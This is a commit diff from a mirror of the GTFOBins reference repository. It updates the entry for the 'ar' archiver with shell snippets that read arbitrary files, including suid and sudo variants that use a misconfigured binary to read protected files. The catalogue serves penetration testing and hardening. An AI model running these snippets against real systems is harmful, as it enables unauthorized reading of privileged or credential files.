mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-11-04 02:38:43 +01:00 
			
		
		
		
	Fix ar and add suid and sudo
This commit is contained in:
		@@ -1,9 +1,22 @@
 | 
			
		||||
---
 | 
			
		||||
description: The file appears amid the binary content of the archive.
 | 
			
		||||
functions:
 | 
			
		||||
  file-read:
 | 
			
		||||
      code: |
 | 
			
		||||
        OUTFILE=$(mktemp -u)
 | 
			
		||||
        LFILE=file_to_read
 | 
			
		||||
        ar r "${OUTFILE}" "${LFILE}"
 | 
			
		||||
        cat "${OUTFILE}"
 | 
			
		||||
    code: |
 | 
			
		||||
      OUTFILE=$(mktemp -u)
 | 
			
		||||
      LFILE=file_to_read
 | 
			
		||||
      ar r "$OUTFILE" "$LFILE"
 | 
			
		||||
      cat "$OUTFILE"
 | 
			
		||||
  suid:
 | 
			
		||||
    code: |
 | 
			
		||||
      OUTFILE=$(mktemp -u)
 | 
			
		||||
      LFILE=file_to_read
 | 
			
		||||
      ./ar r "$OUTFILE" "$LFILE"
 | 
			
		||||
      cat "$OUTFILE"
 | 
			
		||||
  sudo:
 | 
			
		||||
    code: |
 | 
			
		||||
      OUTFILE=$(mktemp -u)
 | 
			
		||||
      LFILE=file_to_read
 | 
			
		||||
      sudo ar r "$OUTFILE" "$LFILE"
 | 
			
		||||
      cat "$OUTFILE"
 | 
			
		||||
---
 | 
			
		||||
 
 | 
			
		||||
		Reference in New Issue
	
	Block a user